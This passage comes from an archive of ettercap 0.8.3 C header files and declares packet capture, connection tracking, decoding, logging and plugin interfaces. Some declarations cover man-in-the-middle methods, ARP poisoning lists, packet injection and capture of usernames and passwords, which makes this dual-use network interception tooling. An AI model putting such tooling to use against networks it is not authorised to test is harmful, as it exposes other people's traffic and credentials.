ETTERCAP_CONNTRACK_H #define ETTERCAP_CONNTRACK_H #include #include /* conntrack hook definition */ struct ct_hook_list { void (*func)(struct packet_object *po); SLIST_ENTRY (ct_hook_list) next; }; /* conntrack object */ struct conn_object { /* last updated (for connection timeout) */ struct timeval ts; /* mac addresses */ u_int8 L2_addr1[MEDIA_ADDR_LEN]; u_int8 L2_addr2[MEDIA_ADDR_LEN]; /* ip addresses */ struct ip_addr L3_addr1; struct ip_addr L3_addr2; /* port numbers */ u_int16 L4_addr1; u_int16 L4_addr2; u_int8 L4_proto; /* buffered data */ struct conn_buf data; /* byte count since the creation */ u_int32 xferred; /* XXX: remove it some day */ u_int32 tx; /* from 1 to 2 */ u_int32 rx; /* from 2 to 1 */ /* connection status */ int status; /* flags for injection/modifications */ int flags; /* username and password */ struct dissector_info DISSECTOR; /* hookpoint to receive only packet of this connection */ SLIST_HEAD(, ct_hook_list) hook_head; }; struct conn_tail { struct conn_object *co; struct conn_hash_search *cs; TAILQ_ENTRY(conn_tail) next; }; enum { CONN_IDLE = 0, CONN_OPENING = 1, CONN_OPEN = 2, CONN_ACTIVE = 3, CONN_CLOSING = 4, CONN_CLOSED = 5, CONN_KILLED = 6, }; enum { CONN_INJECTED = 1, CONN_MODIFIED = 2, CONN_VIEWING = 4, }; /* exported functions */ EC_API_EXTERN void * conntrack_print(int mode, void *list, char **desc, size_t len); EC_API_EXTERN void * conntrack_get(int mode, void *list, struct conn_object **conn); EC_API_EXTERN int conntrack_protostr(struct conn_object *conn, char *pstr, int len); EC_API_EXTERN int conntrack_flagstr(struct conn_object *conn, char *pstr, int len); EC_API_EXTERN int conntrack_statusstr(struct conn_object *conn, char *pstr, int len); EC_API_EXTERN int conntrack_countrystr(struct conn_object *conn, char *pstr, int len); EC_API_EXTERN EC_THREAD_FUNC(conntrack_timeouter); EC_API_EXTERN void conntrack_purge(void); EC_API_EXTERN int conntrack_hook_packet_add(struct packet_object *po, void (*func)(struct packet_object *po)); EC_API_EXTERN int conntrack_hook_packet_del(struct packet_object *po, void (*func)(struct packet_object *po)); EC_API_EXTERN int conntrack_hook_conn_add(struct conn_object *co, void (*func)(struct packet_object *po)); EC_API_EXTERN int conntrack_hook_conn_del(struct conn_object *co, void (*func)(struct packet_object *po)); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_resolv.h0000644000175000017500000000234613505247364016756 0ustar koeppeakoeppea#ifndef ETTERCAP_RESOLV_H #define ETTERCAP_RESOLV_H #include #ifdef HAVE_ARPA_NAMESER_H #include #ifndef OS_BSD_OPEN #include #endif #include #else #include #endif /* * glibc 2.1.x does not have new NG_GET* macros... * implement the hack here. */ #if !defined HAVE_NS_GET && !defined NS_GET16 /* functions */ #define NS_GET16 GETSHORT #define NS_GET32 GETLONG #define NS_PUT16 PUTSHORT #define NS_PUT32 PUTLONG /* constants */ #define NS_MAXDNAME MAXDNAME #define ns_c_in C_IN #define ns_r_noerror NOERROR #define ns_t_cname T_CNAME #define ns_t_ptr T_PTR #define ns_t_a T_A #define ns_t_mx T_MX #define ns_o_query QUERY #endif #define MAX_HOSTNAME_LEN 64 EC_API_EXTERN int host_iptoa(struct ip_addr *ip, char *name); /* used by ec_dns to insert passively sniffed dns answers */ EC_API_EXTERN void resolv_cache_insert_passive(struct ip_addr *ip, char *name); /* initialize and teardown name resolver threads */ EC_API_EXTERN void resolv_thread_init(void); EC_API_EXTERN void resolv_thread_fini(void); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_streambuf.h0000644000175000017500000000234213505247364017430 0ustar koeppeakoeppea#ifndef ETTERCAP_STREAMBUF_H #define ETTERCAP_STREAMBUF_H #include struct stream_buf { /* the lock */ pthread_mutex_t streambuf_mutex; /* Last TCP Sequence Number if we are using it for TCP streaming */ u_int32 tcp_seq; /* total size */ size_t size; /* the real buffer made up of a tail of packets */ TAILQ_HEAD(streambuf_head, stream_pck_list) streambuf_tail; }; /* an entry in the tail */ struct stream_pck_list { /* size of the element */ size_t size; /* pointer to the last read byte */ size_t ptr; /* the data */ u_char *buf; /* the link to the next element */ TAILQ_ENTRY(stream_pck_list) next; }; /* functions */ EC_API_EXTERN void streambuf_init(struct stream_buf *sb); EC_API_EXTERN int streambuf_add(struct stream_buf *sb, struct packet_object *po); EC_API_EXTERN int streambuf_seq_add(struct stream_buf *sb, struct packet_object *po); EC_API_EXTERN int streambuf_get(struct stream_buf *sb, u_char *buf, size_t len, int mode); EC_API_EXTERN void streambuf_wipe(struct stream_buf *sb); EC_API_EXTERN int streambuf_read(struct stream_buf *sb, u_char *buf, size_t len, int mode); #define STREAM_ATOMIC 0 #define STREAM_PARTIAL 1 #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_sniff_bridge.h0000644000175000017500000000070413505247364020061 0ustar koeppeakoeppea#ifndef ETTERCAP_SNIFF_BRIDGE_H #define ETTERCAP_SNIFF_BRIDGE_H #include /* exported functions */ EC_API_EXTERN void start_bridge_sniff(void); EC_API_EXTERN void stop_bridge_sniff(void); EC_API_EXTERN void forward_bridge_sniff(struct packet_object *po); EC_API_EXTERN void bridge_check_forwarded(struct packet_object *po); EC_API_EXTERN void bridge_set_forwardable(struct packet_object *po); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_capture.h0000644000175000017500000000112013505247364017074 0ustar koeppeakoeppea#ifndef ETTERCAP_CAPTURE_H #define ETTERCAP_CAPTURE_H #include #include EC_API_EXTERN void capture_start(struct iface_env *); EC_API_EXTERN void capture_stop(struct iface_env *); EC_API_EXTERN EC_THREAD_FUNC(capture); EC_API_EXTERN int is_pcap_file(char *file, char *pcap_errbuf); EC_API_EXTERN void capture_getifs(void); #define FUNC_ALIGNER(func) int func(void) #define FUNC_ALIGNER_PTR(func) int (*func)(void) EC_API_EXTERN u_int8 get_alignment(int dlt); EC_API_EXTERN void add_aligner(int dlt, int (*aligner)(void)); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_mitm.h0000644000175000017500000000123313505247364016404 0ustar koeppeakoeppea#ifndef ETTERCAP_MITM_H #define ETTERCAP_MITM_H struct mitm_method { char *name; int (*start)(char *args); void (*stop)(void); }; /* exported functions */ EC_API_EXTERN void mitm_add(struct mitm_method *mm); EC_API_EXTERN int mitm_set(char *name); EC_API_EXTERN int mitm_start(void); EC_API_EXTERN void mitm_stop(void); EC_API_EXTERN void only_mitm(void); EC_API_EXTERN int is_mitm_active(char *name); /* an ugly hack to make accessible the arp poisoning lists to plugins */ LIST_HEAD(hosts_group, hosts_list); EC_API_EXTERN struct hosts_group arp_group_one; EC_API_EXTERN struct hosts_group arp_group_two; #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_conf.h0000644000175000017500000000050513505247364016364 0ustar koeppeakoeppea#ifndef ETTERCAP_CONF_H #define ETTERCAP_CONF_H struct conf_entry { char *name; void *value; }; struct conf_section { char *title; struct conf_entry *entries; }; /* exported functions */ EC_API_EXTERN void load_conf(void); EC_API_EXTERN void conf_dissectors(void); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_threads.h0000644000175000017500000000336513505247364017100 0ustar koeppeakoeppea#ifndef ETTERCAP_THREADS_H #define ETTERCAP_THREADS_H #include #include struct ec_thread { char *name; char *description; int detached; pthread_t id; }; /* a value to be used to return errors in fuctcions using pthread_t values */ pthread_t EC_PTHREAD_NULL; #define EC_PTHREAD_SELF EC_PTHREAD_NULL #define PTHREAD_ID(id) (*(unsigned long*)&(id)) #define EC_THREAD_FUNC(x) void * x(void *args) #define EC_THREAD_PARAM args EC_API_EXTERN char * ec_thread_getname(pthread_t id); EC_API_EXTERN pthread_t ec_thread_getpid(char *name); EC_API_EXTERN char * ec_thread_getdesc(pthread_t id); EC_API_EXTERN void ec_thread_register_detached(pthread_t id, char *name, char *desc, int detached); EC_API_EXTERN void ec_thread_register(pthread_t id, char *name, char *desc); EC_API_EXTERN pthread_t ec_thread_new(char *name, char *desc, void *(*function)(void *), void *args); EC_API_EXTERN pthread_t ec_thread_new_detached(char *name, char *desc, void *(*function)(void *), void *args, int detached); EC_API_EXTERN void ec_thread_destroy(pthread_t id); EC_API_EXTERN void ec_thread_init(void); EC_API_EXTERN void ec_thread_kill_all(void); EC_API_EXTERN void ec_thread_exit(void); #define RETURN_IF_NOT_MAIN() do{ if (strcmp(ec_thread_getname(EC_PTHREAD_SELF), EC_GBL_PROGRAM)) return; }while(0) #define CANCELLATION_POINT() pthread_testcancel() #if defined(OS_DARWIN) || defined(OS_WINDOWS) || defined(OS_CYGWIN) /* XXX - darwin and windows are broken, pthread_join hangs up forever */ #define BROKEN_PTHREAD_JOIN #endif /* Mac OS X does not have it, and some other systems define it as enum */ #ifndef HAVE_MUTEX_RECURSIVE_NP #define PTHREAD_MUTEX_RECURSIVE_NP PTHREAD_MUTEX_RECURSIVE #endif #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_sleep.h0000644000175000017500000000015313505247364016546 0ustar koeppeakoeppea#ifndef ETTERCAP_SLEEP_H #define ETTERCAP_SLEEP_H EC_API_EXTERN void ec_usleep(unsigned int usecs); #endif ettercap-0.8.3/include/el_version.h0000644000175000017500000000015313505247364017134 0ustar koeppeakoeppea#ifndef ETTERLOG_VERSION_H #define ETTERLOG_VERSION_H #define PROGRAM "etterlog" #endif /* EOF */ ettercap-0.8.3/include/ec_geoip.h0000644000175000017500000000044713505247364016547 0ustar koeppeakoeppea#ifndef ETTERCAP_GEOIP_H #define ETTERCAP_GEOIP_H #include #include #ifdef HAVE_GEOIP EC_API_EXTERN void geoip_init (void); EC_API_EXTERN const char* geoip_ccode_by_ip (struct ip_addr *ip); EC_API_EXTERN const char* geoip_country_by_ip (struct ip_addr *ip); #endif #endif ettercap-0.8.3/include/ec_session_tcp.h0000644000175000017500000000075713505247364020001 0ustar koeppeakoeppea#ifndef ETTERCAP_SESSION_TCP_H #define ETTERCAP_SESSION_TCP_H /* Session data structure */ struct tcp_half_status { u_int32 last_seq; u_int32 last_ack; int32 seq_adj; u_char injectable; #define INJ_FIN 1 #define INJ_FWD 2 }; struct tcp_status { struct tcp_half_status way[2]; }; EC_API_EXTERN size_t tcp_create_ident(void **i, struct packet_object *po); EC_API_EXTERN int tcp_find_direction(void *ids, void *id); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec.h0000644000175000017500000001122413505247364015357 0ustar koeppeakoeppea#ifndef ETTERCAP_H #define ETTERCAP_H #include #include #include #include #include #include #ifdef OS_WINDOWS #include #endif #if defined OS_DARWIN || defined OS_BSD #define PCAP_DONT_INCLUDE_PCAP_BPF_H 1 #include #endif #ifndef PATH_MAX #define PATH_MAX 1024 #endif #if !defined (__USE_GNU) /* for memmem(), strsignal(), etc etc... */ #define __USE_GNU #endif #ifdef OS_SOLARIS #define _REENTRANT /* for strtok_r() */ #endif #include #if defined (__USE_GNU) #undef __USE_GNU #endif #include #include #include /* * On Windows (MinGw) we must export all ettercap.exe variables/function * used in plugins and functions in plugins must be declared as 'importable' */ #if defined(OS_WINDOWS) #if defined(BUILDING_PLUGIN) #define EC_API_EXTERN __declspec(dllimport) #else #define EC_API_EXTERN __declspec(dllexport) #endif #else #define EC_API_EXTERN extern #endif /* these are often needed... */ #include #include #include #include #include #include #ifdef OS_MINGW #include #endif /* wrappers for safe memory allocation */ #define SAFE_CALLOC(x, n, s) do { \ x = calloc(n, s); \ ON_ERROR(x, NULL, "virtual memory exhausted"); \ } while(0) #define SAFE_MALLOC(x, s) do { \ x = malloc(s); \ ON_ERROR(x, NULL, "virtual memory exhausted"); \ } while (0) #define SAFE_REALLOC(x, s) do { \ x = realloc(x, s); \ ON_ERROR(x, NULL, "virtual memory exhausted"); \ } while(0) #define SAFE_STRDUP(x, s) do{ \ x = strdup(s); \ ON_ERROR(x, NULL, "virtual memory exhausted"); \ }while(0) #define SAFE_FREE(x) do{ if(x) { free(x); x = NULL; } }while(0) /* convert to string */ #define EC_STRINGIFY(in) #in #define EC_TOSTRING(in) EC_STRINGIFY(in) // No need to have a priority in the constructor at this moment /* #if __GNUC_PREREQ(4,3) #define __init __attribute__ ((constructor(101))) #else */ #define __init __attribute__ ((constructor)) //#endif #ifndef __set_errno #define __set_errno(e) (errno = (e)) #endif #define LOOP for(;;) #define EXECUTE(x, ...) do{ if(x != NULL) x( __VA_ARGS__ ); }while(0) /* couple of useful macros */ #ifndef offsetof #define offsetof(type, member) ((size_t) &((type*)0)->member) #endif #ifndef containerof #define containerof(ptr, type, member) ((type*)((char*)ptr - offsetof(type,member))) #endif /* min and max */ #ifndef MIN #define MIN(a, b) (((a) < (b)) ? (a) : (b)) #endif #ifndef MAX #define MAX(a, b) (((a) > (b)) ? (a) : (b)) #endif /* timeunit conversions */ #define SEC2NANO(x) x * 1000000000 #define MILLI2NANO(x) x * 1000000 #define MICRO2NANO(x) x * 1000 #define SEC2MICRO(x) x * 1000000 #define MILLI2MICRO(x) x * 1000 #define MILLI2SEC(x) x / 1000 #define MICRO2SEC(x) x / 1000000 #define NANO2SEC(x) x / 1000000000 /* file operations */ #ifndef OS_WINDOWS #define O_BINARY 0 #endif /* bit operations */ #define BIT_SET(r,b) ( r[b>>3] |= 1<<(b&7) ) #define BIT_RESET(r,b) ( r[b>>3] &= ~ 1<<(b&7) ) #define BIT_TEST(r,b) ( r[b>>3] & 1<<(b&7) ) #define BIT_NOT(r,b) ( r[b>>3] ^= 1<<(b&7) ) /* Save and restore relative offsets for pointers into a buffer */ #define SAVE_OFFSET(o,b) o=(u_int8 *)((int)o-(int)b) #define RESTORE_OFFSET(o,b) o=(u_int8 *)((int)o+(int)b) /* ANSI colors */ #ifndef OS_WINDOWS #define EC_COLOR_END "\033[0m" #define EC_COLOR_BOLD "\033[1m" #define EC_COLOR_RED "\033[31m"EC_COLOR_BOLD #define EC_COLOR_YELLOW "\033[33m"EC_COLOR_BOLD #define EC_COLOR_GREEN "\033[32m"EC_COLOR_BOLD #define EC_COLOR_BLUE "\033[34m"EC_COLOR_BOLD #define EC_COLOR_CYAN "\033[36m"EC_COLOR_BOLD #else /* Windows console doesn't grok ANSI */ #define EC_COLOR_END #define EC_COLOR_BOLD #define EC_COLOR_RED #define EC_COLOR_YELLOW #define EC_COLOR_GREEN #define EC_COLOR_BLUE #define EC_COLOR_CYAN #endif /* magic numbers */ #ifndef RANDMAGIC #define EC_MAGIC_8 0xec #define EC_MAGIC_16 0xe77e #define EC_MAGIC_32 0xe77ee77e #else #define EC_MAGIC_8 ((RANDMAGIC & 0x0ff0) >> 4) #define EC_MAGIC_16 (RANDMAGIC & 0xffff) #define EC_MAGIC_32 (((RANDMAGIC & 0xff) << 8)|((RANDMAGIC & 0xff00) >> 8)|(RANDMAGIC & 0xffff0000)) #endif /* exported by ec_main */ EC_API_EXTERN void clean_exit(int errcode); /* exported by ec_mem */ EC_API_EXTERN void safe_free_mem(char **param, int *param_length, char *command); #endif /* EC_H */ /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_debug.h0000644000175000017500000000142413505247364016526 0ustar koeppeakoeppea#if defined(DEBUG) && !defined(ETTERCAP_DEBUG_H) #define ETTERCAP_DEBUG_H EC_API_EXTERN void debug_init(void); EC_API_EXTERN void debug_msg(const char *message, ...); EC_API_EXTERN FILE *debug_file; #define DEBUG_INIT() debug_init() #define DEBUG_MSG(x, ...) do { \ if (debug_file == NULL) { \ fprintf(stderr, "DEBUG: "x"\n", ## __VA_ARGS__ ); \ } else \ debug_msg(x, ## __VA_ARGS__ ); \ } while(0) #endif /* EC_DEBUG_H */ /* * if DEBUG is not defined we expand the macros to null instructions... */ #ifndef DEBUG #define DEBUG_INIT() #define DEBUG_MSG(x, ...) #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_log.h0000644000175000017500000000630013505247364016217 0ustar koeppeakoeppea#ifndef ETTERCAP_LOG_H #define ETTERCAP_LOG_H #include #include #include #include #include #include #include struct log_fd { int type; #define LOG_COMPRESSED 1 #define LOG_UNCOMPRESSED 0 gzFile cfd; int fd; }; /******************************************* * NOTE: all the int variable are stored * * in network order in the logfile * * * * NOTE: log files are compressed with * * the deflate algorithm * *******************************************/ /* * at the beginning of the file there * are the global information */ struct log_global_header { /* a magic number for file identification */ u_int16 magic; #define EC_LOG_MAGIC 0xe77e /* * offset to the first header in the log file * this assure that we can change this header * and the etterlog parser will be able to * parse also files created by older version */ u_int16 first_header; /* ettercap version */ char version[16]; /* creation time of the log */ struct timeval tv; /* the type of the log (packet or info) */ u_int32 type; }; /* * every packet in the log file has this format: * [header][data][header][data]... */ /* this is for a generic packet */ struct log_header_packet { struct timeval tv; u_int8 L2_src[MEDIA_ADDR_LEN]; u_int8 L2_dst[MEDIA_ADDR_LEN]; struct ip_addr L3_src; struct ip_addr L3_dst; u_int8 L4_proto; u_int8 L4_flags; u_int16 L4_src; u_int16 L4_dst; u_int32 len; }; /* * this is for host infos * * the format will be: * * [header][user][pass][info][banner][header][user][pass].... * * every header contains in the structure "variable" the length * of the successive banner, user, pass and info fields. */ struct log_header_info { u_int8 L2_addr[MEDIA_ADDR_LEN]; struct ip_addr L3_addr; u_int16 L4_addr; u_int8 L4_proto; char hostname[MAX_HOSTNAME_LEN]; u_int8 distance; u_int8 type; #define LOG_ARP_HOST (1<<7) u_char fingerprint[FINGER_LEN+1]; /* account information */ u_int8 failed; struct ip_addr client; struct variable { u_int16 user_len; u_int16 pass_len; u_int16 info_len; u_int16 banner_len; } var; }; EC_API_EXTERN int set_loglevel(int level, char *filename); #define LOG_STOP 0 #define LOG_INFO 1 #define LOG_PACKET 2 EC_API_EXTERN int set_msg_loglevel(int level, char *filename); #define LOG_TRUE 1 #define LOG_FALSE 0 EC_API_EXTERN void reset_logfile_owners(uid_t old_uid, gid_t old_gid, uid_t new_uid, gid_t new_gid); EC_API_EXTERN int log_open(struct log_fd *fd, char *filename); EC_API_EXTERN void log_close(struct log_fd *fd); EC_API_EXTERN void log_stop(void); EC_API_EXTERN int log_write_header(struct log_fd *fd, int type); EC_API_EXTERN void log_write_packet(struct log_fd *fd, struct packet_object *po); EC_API_EXTERN void log_write_info(struct log_fd *fd, struct packet_object *po); EC_API_EXTERN void log_write_info_arp_icmp(struct log_fd *fd, struct packet_object *po); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ef_functions.h0000644000175000017500000000543313505247364017457 0ustar koeppeakoeppea#ifndef ETTERFILTER_FUNCTIONS_H #define ETTERFILTER_FUNCTIONS_H #include #include #define SCRIPT_ERROR(x, ...) FATAL_ERROR("\n[%s:%d]: "x, EF_GBL_OPTIONS->source_file, EF_GBL->lineno, ## __VA_ARGS__ ); #define WARNING(x) do { \ if (!EF_GBL_OPTIONS->suppress_warnings) \ FATAL_ERROR("\n[%s:%ld]: WARNING "x, EF_GBL_OPTIONS->source_file, (unsigned long)EF_GBL->lineno); \ else \ fprintf(stderr, "\n[%s:%ld]: WARNING "x, EF_GBL_OPTIONS->source_file, (unsigned long)EF_GBL->lineno); \ } while(0) /* ef_main */ EC_API_EXTERN void ef_debug(u_char level, const char *message, ...); /* ef_parser */ EC_API_EXTERN void parse_options(int argc, char **argv); /* ef_test */ EC_API_EXTERN void test_filter(char *filename); EC_API_EXTERN void print_fop(struct filter_op *fop, u_int32 eip); /* ef_syntax && ef_grammar */ EC_API_EXTERN int yyerror(const char *); /* ef_tables */ EC_API_EXTERN void load_tables(void); EC_API_EXTERN void load_constants(void); EC_API_EXTERN int get_virtualpointer(char *name, char *offname, u_int8 *level, u_int16 *offset, u_int8 *size); EC_API_EXTERN int get_constant(char *name, u_int32 *value); /* ef_encode */ EC_API_EXTERN int encode_offset(char *string, struct filter_op *fop); EC_API_EXTERN int encode_function(char *string, struct filter_op *fop); EC_API_EXTERN int encode_const(char *string, struct filter_op *fop); /* ef_output */ EC_API_EXTERN int write_output(void); /* ef_compiler */ struct block { union { struct instruction *ins; struct ifblock *ifb; } un; struct block *next; u_int8 type; #define BLK_INSTR 0 #define BLK_IFBLK 1 }; struct instruction { struct filter_op fop; }; struct ifblock { struct condition *conds; struct block *blk; struct block *elseblk; }; struct condition { struct filter_op fop; struct condition *next; u_int16 op; #define COND_AND 0 #define COND_OR 1 }; EC_API_EXTERN int compiler_set_root(struct block *blk); EC_API_EXTERN size_t compile_tree(struct filter_op **fop); EC_API_EXTERN struct block * compiler_add_instr(struct instruction *ins, struct block *blk); EC_API_EXTERN struct block * compiler_add_ifblk(struct ifblock *ifb, struct block *blk); EC_API_EXTERN struct instruction * compiler_create_instruction(struct filter_op *fop); EC_API_EXTERN struct condition * compiler_create_condition(struct filter_op *fop); EC_API_EXTERN struct condition * compiler_concat_conditions(struct condition *a, u_int16 op, struct condition *b); EC_API_EXTERN struct ifblock * compiler_create_ifblock(struct condition *conds, struct block *blk); EC_API_EXTERN struct ifblock * compiler_create_ifelseblock(struct condition *conds, struct block *blk, struct block *elseblk); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_manuf.h0000644000175000017500000000026413505247364016547 0ustar koeppeakoeppea#ifndef ETTERCAP_MANUF_H #define ETTERCAP_MANUF_H EC_API_EXTERN int manuf_init(void); EC_API_EXTERN char * manuf_search(const char *m); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_packet.h0000644000175000017500000001021113505247364016701 0ustar koeppeakoeppea#ifndef ETTERCAP_PACKET_H #define ETTERCAP_PACKET_H #include #include #include #include #include #include struct packet_object { /* timestamp of the packet */ struct timeval ts; struct L2 { u_int8 proto; u_char * header; u_int len; u_int8 src[MEDIA_ADDR_LEN]; u_int8 dst[MEDIA_ADDR_LEN]; u_int8 flags; #define PO_L2_FCS 0x01 } L2; struct L3 { u_int16 proto; u_char * header; u_char * options; u_int len; size_t payload_len; size_t optlen; struct ip_addr src; struct ip_addr dst; u_int8 ttl; } L3; struct L4 { u_int8 proto; u_int8 flags; u_char * header; u_char * options; u_int len; size_t optlen; u_int16 src; u_int16 dst; u_int32 seq; u_int32 ack; } L4; struct data { u_char * data; u_int len; /* * buffer containing the data to be displayed. * some dissector decripts the traffic, but the packet must be forwarded as * is, so the decripted data must be placed in a different buffer. * this is that buffer and it is malloced by tcp or udp dissector. */ size_t disp_len; u_char * disp_data; /* for modified packet this is the delta for the length */ int delta; size_t inject_len; /* len of the injection */ u_char *inject; /* the buffer used for injection */ } DATA; u_int fwd_len; /* length of the packet to be forwarded */ u_char * fwd_packet; /* the pointer to the buffer to be forwarded */ u_int len; /* total length of the packet */ u_char * packet; /* the buffer containing the real packet */ /* Trace current session for injector chain */ struct ec_session *session; u_int16 flags; /* flags relative to the packet */ #define PO_IGNORE ((u_int16)(1)) /* this packet should not be processed (e.g. sniffing TARGETS didn't match it) */ #define PO_DONT_DISSECT ((u_int16)(1<<1)) /* this packet should not be processed by dissector (used during the arp scan) */ #define PO_FORWARDABLE ((u_int16)(1<<2)) /* the packet has our MAC address, by the IP is not ours */ #define PO_FORWARDED ((u_int16)(1<<3)) /* the packet was forwarded by us */ #define PO_FROMIFACE ((u_int16)(1<<4)) /* this packet comes from the primary interface */ #define PO_FROMBRIDGE ((u_int16)(1<<5)) /* this packet comes form the bridged interface */ #define PO_MODIFIED ((u_int16)(1<<6)) /* it needs checksum recalculation before forwarding */ #define PO_DROPPED ((u_int16)(1<<7)) /* the packet has to be dropped */ #define PO_DUP ((u_int16)(1<<8)) /* the packet is a duplicate we have to free the buffer on destroy */ #define PO_FORGED ((u_int16)(1<<9)) /* the packet is created by ourselves */ #define PO_EOF ((u_int16)(1<<10)) /* we are reading from a file and this is the last packet */ #define PO_FROMSSL ((u_int16)(1<<11)) /* the packet is coming from a ssl wrapper */ #define PO_SSLSTART ((u_int16)(1<<12)) /* ssl wrapper has to enter SSL state */ /* * here are stored the user and pass collected by dissectors * the "char *" are malloc(ed) by dissectors */ struct dissector_info DISSECTOR; /* the struct for passive identification */ struct passive_info PASSIVE; }; EC_API_EXTERN struct packet_object* packet_allocate_object(u_char *data, u_int len); EC_API_EXTERN int packet_create_object(struct packet_object *po, u_char * buf, u_int len); EC_API_EXTERN int packet_destroy_object(struct packet_object *po); EC_API_EXTERN int packet_disp_data(struct packet_object *po, u_char *buf, u_int len); EC_API_EXTERN struct packet_object * packet_dup(struct packet_object *po, u_char flag); /* Do we want to duplicate data? */ #define PO_DUP_NONE 0 #define PO_DUP_PACKET 1 #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_decode.h0000644000175000017500000000332513505247364016665 0ustar koeppeakoeppea#ifndef ETTERCAP_DECODE_H #define ETTERCAP_DECODE_H #include #include #include #include /* layer canonical name */ enum { IFACE_LAYER = 1, LINK_LAYER = 2, NET_LAYER = 3, NET6_LAYER = 31, /* IPv6 options */ PROTO_LAYER = 4, APP_LAYER = 5, /* special case for the middleware decoder. don't use it */ APP_LAYER_TCP = 51, APP_LAYER_UDP = 52, }; #define FUNC_DECODER(func) void * func(u_char *buf, u_int16 buflen, int *len, struct packet_object *po) #define FUNC_DECODER_PTR(func) void * (*func)(u_char *buf, u_int16 buflen, int *len, struct packet_object *po) #define DECODE_DATALEN buflen #define DECODE_DATA buf #define DECODED_LEN *len #define PACKET po #define EXECUTE_DECODER(x) do{ \ if (x) \ x(DECODE_DATA+DECODED_LEN, DECODE_DATALEN-DECODED_LEN, len, PACKET); \ }while(0) #define DECLARE_REAL_PTR_END(x,y) u_char *x = po->DATA.data; \ u_char *y = x + po->DATA.len #define DECLARE_DISP_PTR_END(x,y) u_char *x = po->DATA.disp_data; \ u_char *y = x + po->DATA.disp_len #define DECLARE_DISP_PTR(x) u_char *x = po->DATA.disp_data #define DISPLAY_DATA po->disp_data #define DISPLAY_LEN po->disp_len /* exported functions */ EC_API_EXTERN void ec_decode(u_char *u, const struct pcap_pkthdr *pkthdr, const u_char *pkt); EC_API_EXTERN void add_decoder(u_int8 level, u_int32 type, FUNC_DECODER_PTR(decoder)); EC_API_EXTERN void del_decoder(u_int8 level, u_int32 type); EC_API_EXTERN void *get_decoder(u_int8 level, u_int32 type); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_sslwrap.h0000644000175000017500000000067413505247364017141 0ustar koeppeakoeppea#ifndef ETTERCAP_SSLWRAP_H #define ETTERCAP_SSLWRAP_H #include #include EC_API_EXTERN void sslw_dissect_add(char *name, u_int32 port, FUNC_DECODER_PTR(decoder), u_char status); EC_API_EXTERN void sslw_dissect_move(char *name, u_int16 port); EC_API_EXTERN EC_THREAD_FUNC(sslw_start); EC_API_EXTERN void ssl_wrap_init(void); #define SSL_DISABLED 0 #define SSL_ENABLED 1 #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_plugins.h0000644000175000017500000000423613505247364017125 0ustar koeppeakoeppea#ifndef ETTERCAP_PLUGINS_H #define ETTERCAP_PLUGINS_H #include #include #include #include struct plugin_ops { char *ettercap_version; /* ettercap version MUST be the global EC_VERSION */ char *name; /* the name of the plugin */ char *info; /* a short description of the plugin */ char *version; /* the plugin version. note: 15 will be displayed as 1.5 */ int (*init)(void *); /* activation function */ int (*fini)(void *); /* deactivation function */ }; struct plugin_list { char *name; bool exists; LIST_ENTRY(plugin_list) next; }; #ifdef OS_WINDOWS #define PLUGIN_PATTERN "ec_*.dll" #else #define PLUGIN_PATTERN "ec_*.so" #endif EC_API_EXTERN void plugin_load_all(void); EC_API_EXTERN int plugin_load_single(const char *path, char *name); EC_API_EXTERN int plugin_register(void *handle, struct plugin_ops *ops); EC_API_EXTERN int plugin_list_walk(int min, int max, void (*func)(char, struct plugin_ops *)); #define PLP_MIN 1 #define PLP_MAX INT_MAX EC_API_EXTERN int plugin_is_activated(char *name); EC_API_EXTERN int search_plugin(char *name); /* use these to activate and deactivate a plugin; these are *imported* from plugins */ EC_API_EXTERN int plugin_init(char *name); EC_API_EXTERN int plugin_fini(char *name); EC_API_EXTERN int plugin_kill_thread(char *name, char *thread); #define PLUGIN_FINISHED 0 #define PLUGIN_RUNNING 1 EC_API_EXTERN void plugin_list(void); EC_API_EXTERN void free_plugin_list(struct plugin_list_t plugins); #define PLUGIN_LOCK(x) \ do{ \ if (pthread_mutex_trylock(&x)) { \ ec_thread_exit(); \ return NULL; \ } \ } while(0) #define PLUGIN_UNLOCK(x) \ do{ \ pthread_mutex_unlock(&x); \ } while(0) #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_proto.h0000644000175000017500000000634713505247364016614 0ustar koeppeakoeppea#ifndef ETTERCAP_PROTO_H #define ETTERCAP_PROTO_H #include /* interface layer types */ enum { IL_TYPE_NULL = 0x00, /* bsd loopback (used by some wifi cards in monitor mode) */ IL_TYPE_ETH = 0x01, /* ethernet */ IL_TYPE_TR = 0x06, /* token ring */ IL_TYPE_PPP = 0x09, /* PPP */ IL_TYPE_FDDI = 0x0a, /* fiber distributed data interface */ IL_TYPE_RAWIP = 0x0c, /* raw ip dump file */ IL_TYPE_WIFI = 0x69, /* wireless */ IL_TYPE_COOK = 0x71, /* linux cooked */ IL_TYPE_PRISM = 0x77, /* prism2 header for wifi dumps */ IL_TYPE_RADIO = 0x7f, /* radiotap header for wifi dumps */ IL_TYPE_PPI = 0xc0, /* per packet information */ IL_TYPE_ERF = 0xc5, /* ERF endace format */ }; /* link layer types */ enum { LL_TYPE_PPP_IP = 0x0021, LL_TYPE_IP = 0x0800, LL_TYPE_ARP = 0x0806, LL_TYPE_VLAN = 0x8100, LL_TYPE_IP6 = 0x86DD, LL_TYPE_PPP = 0x880B, LL_TYPE_PPPOE = 0x8864, LL_TYPE_PAP = 